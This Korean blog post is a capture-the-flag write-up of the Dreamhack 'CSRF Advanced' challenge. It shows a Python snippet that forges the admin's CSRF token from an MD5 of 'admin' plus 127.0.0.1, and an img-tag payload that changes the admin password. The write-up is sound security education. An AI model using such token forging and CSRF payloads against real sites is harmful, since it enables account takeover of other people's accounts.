티스토리 뷰

드림핵

[Dreamhack]CSRF Advanced

채희태 2024. 6. 9. 22:32
728x90

guest로 로그인후 비밀번호 변경을 하면 

http://host3.dreamhack.games:19454/change_password?pw=1234&csrftoken=3c52b332e2f3cad2f79648520d240e9d

url이 이렇게 바뀐다.

 

 

admin의 csrf_token 을 알아내서 비밀번호를 바꾼후 로그인하면 되는 문제이다.

 token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()

csrf_token은 위와같이 admin+서버의 로컬 ip주소로 암호화되서 저장된다.

 

from hashlib import md5
username = b"admin"
ip_addr = b"127.0.0.1"
csrf_token = md5(username + ip_addr).hexdigest()
print(csrf_token)

csrf_token을 알아내는 코드를 작성후 실행해주면

 

admin의 csrf_token이 출력된다.

 

 

<img src="/change_password?pw=1234&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">

csrf_token을 사용해서 admin pw을 바꿔준다.

 

바꿔준 비밀번호로 로그인하면

flag가 뜬다.

'드림핵' 카테고리의 다른 글

rev-basic-0  (0) 2024.06.27
[Dreamhack] Mango  (0) 2024.06.13
[Dreamhack]Windows Search  (0) 2024.06.10
[Dreamhack]simple_sqli_chatgpt  (2) 2024.06.10
[Dreamhack]XSS Filtering Bypass  (0) 2024.06.09
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함
250x250